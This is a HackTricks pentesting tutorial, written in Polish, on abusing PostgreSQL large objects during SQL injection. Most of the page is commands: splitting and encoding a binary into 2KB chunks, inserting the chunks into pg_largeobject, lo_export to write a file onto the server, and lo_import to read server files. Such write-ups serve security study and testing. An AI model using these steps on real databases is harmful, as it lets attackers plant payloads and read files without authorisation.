hacktricks/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md
2024-02-11 01:46:25 +00:00

5.8 KiB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Duże obiekty PostgreSQL

PostgreSQL oferuje strukturę znana jako duże obiekty, dostępne za pośrednictwem tabeli pg_largeobject, przeznaczoną do przechowywania dużych typów danych, takich jak obrazy lub dokumenty PDF. Ten podejście jest korzystne w porównaniu do funkcji COPY TO, ponieważ umożliwia eksportowanie danych z powrotem do systemu plików, zapewniając dokładną replikę oryginalnego pliku.

Aby przechować kompletny plik w tej tabeli, należy utworzyć obiekt w tabeli pg_largeobject (zidentyfikowany przez LOID), a następnie wstawić do tego obiektu kawałki danych o rozmiarze 2KB. Ważne jest, aby te kawałki miały dokładnie 2KB (z możliwym wyjątkiem ostatniego kawałka), aby funkcja eksportująca działała poprawnie.

Aby podzielić swoje dane binarne na kawałki o rozmiarze 2KB, można wykonać następujące polecenia:

split -b 2048 your_file # Creates 2KB sized files

Aby zakodować każdy plik w formacie Base64 lub Hex, można użyć poniższych poleceń:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Ważne: Automatyzując ten proces, upewnij się, że wysyłasz fragmenty o rozmiarze 2 KB zwykłych bajtów. Pliki kodowane w formacie szesnastkowym będą wymagały 4 KB danych na fragment ze względu na podwojenie rozmiaru, podczas gdy pliki kodowane w formacie Base64 będą podlegać wzorcowi ceil(n / 3) * 4.

Zawartość dużych obiektów można przeglądać w celach debugowania za pomocą:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Używanie lo_creat i Base64

Aby przechowywać dane binarne, najpierw tworzony jest LOID:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

W sytuacjach wymagających precyzyjnej kontroli, takich jak wykorzystanie Blind SQL Injection, preferowane jest użycie lo_create do określenia stałego LOID.

Kawałki danych mogą być następnie wstawiane w następujący sposób:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Aby wyeksportować i ewentualnie usunąć duży obiekt po użyciu:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Używanie lo_import i Hex

Funkcję lo_import można wykorzystać do utworzenia i określenia LOID dla dużego obiektu:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Po utworzeniu obiektu, dane są wstawiane na stronę, upewniając się, że każdy fragment nie przekracza 2KB:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

Aby zakończyć proces, dane są eksportowane, a duży obiekt jest usuwany:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Ograniczenia

Zauważono, że duże obiekty mogą mieć listy ACL (Access Control Lists), które potencjalnie ograniczają dostęp nawet do obiektów utworzonych przez twojego użytkownika. Jednak starsze obiekty z przyzwoitymi listami ACL mogą nadal być dostępne do wycieku treści.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: